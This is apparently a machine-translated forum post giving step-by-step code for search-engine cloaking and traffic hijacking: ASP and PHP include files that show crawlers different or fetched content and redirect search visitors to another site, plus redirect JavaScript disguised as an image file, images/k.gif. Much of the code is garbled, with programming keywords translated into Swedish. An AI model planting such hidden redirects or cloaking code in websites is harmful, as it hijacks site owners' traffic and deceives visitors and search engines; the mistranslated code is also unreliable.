Först är det enkelt, lägg till följande kod på förstasidan:
ASP-versionen
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP-versionen
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Lägg sedan till följande kod i conn-filen enligt webbplatsens program, om du inte har en conn.asp eller conn.php, skapa den själv:
conn.asp utgåva
----------- följande reproduktion--------------------------------
<%
funktionen är spindel()
Dim agent, Searray, jag
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= falsk
för i=0 till ubound(searray)
Om (instr(agent,searray(i))>0) så är spider=sann
Nästa
slutfunktion
funktion fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= falsk
om urlrefer="" så fromse= falskt
searray=array("google","baidu","sogou","yahoo","soso","360")
för i=0 till ubound(searray)
Om (instr(urlrefer,searray(i))>0) så är fromse=true
Nästa
slutfunktion
Funktion getHTTP(URL)
DIM HTTP
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
om Http.readystate<>4 så
Utgångsfunktion
slut om
gethttp=bytes2BSTR(Http.responseBody)
Sätt http=Ingenting
Om err.number<>0 så err. Klart
slutfunktion
function bytes2BSTR(vIn)
dim strReturn
dim i, ThisCharCode, NextCharCode
strReturn = ""
För i = 1 Till LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Om thisCharCode < &H80 så
strReturn = strReturn & Chr(ThisCharCode)
Annars
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Slut om
Nästa
bytes2BSTR = strReturn
Slutfunktion
om(isspider()) då
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
svar.clear
remotehtml=gethttp(bodyurl)
Response.write(fjärrHTML)
response.write("<!--"&now()&"-->")
response.flush
svar.slut
slut om
%>
conn.php
---------------- följande reproduktion----------------
<?php
funktion is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify SOM $key => $tag){
om (strstr($user_agent, $tag)){
återvänd sant;
}
}
returnera falsk; }
Funktion is_urlbaidu()
{
$come_från="baidu@sogou@soso@iask@naver";
$referer = explodera("@",$come_från);
foreach($referer som $url){
om (stristr($_SERVER['HTTP_REFERER'],$url)){
återvänd sant;
}
}
returnera falsk; }
om (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <metanamn=\"Författare\" innehåll=\"Fyll i samma som nyckelord\"> <metanamn=\"Nyckelord\" innehåll=\"Nyckelord\"> <metanamn=
\"Beskrivning\" innehåll=\"Beskrivning\"> </head> <body>Innehåll</body></html>";
Echo $html;
}
om (!is_search_bot() & & is_urlbaidu())
{
Header('Plats:http://www.itsvse.com');
}
?>
Slutligen, i bildkatalogen, laddar du upp en k.gif fil k.gif koden:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Omdirigerings-URL
|
Publicerad på 2014-12-01 18:48:55
|
|
|
